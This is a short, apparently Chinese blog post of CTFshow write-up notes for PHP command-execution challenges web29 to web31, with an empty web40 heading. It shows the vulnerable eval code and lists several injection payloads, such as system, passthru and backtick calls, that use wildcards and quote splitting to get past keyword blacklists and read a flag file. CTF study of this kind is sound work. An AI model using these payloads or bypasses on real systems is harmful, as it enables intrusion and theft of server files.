【CTFshow】命令执行web29-web54

web29

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

1.get传入c,然后又用eval输出c,因此在c中传入命令执行语句(eval函数,将内容当做命令去执行

2.绕过正则可以用通配符: *  、 ? 和字符串拼接来绕过

3.先看看目录payload:?c=system('ls');   (注意分号)

 

 4.得到flag所在路径,那就好办了

payload:

1. ?c=system('cat fl*');

2. ?c=system('tac fl*');

3. ?c=system("tac fla?.php");      

4. ?c=system("tac fla''g.php");

5.?c=eval($_GET[a]);&a=system('cat flag.php');

6.?c=system('nl fla*');

nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!

其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能

7.?c=echo `nl fl''ag.php`;

8.?c=passthru('cat fl*');

 

web30

1.审计代码,比上道题目多ban了system和php

2.一样可以用上道题的1 2 5 6 8

 

 

web31

1.if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i"$c)){

找一个上面没有ban掉的即可

 

web40

1.

posted @ 2022-06-30 10:46  L0VEhzzz  阅读(55)  评论(0编辑  收藏  举报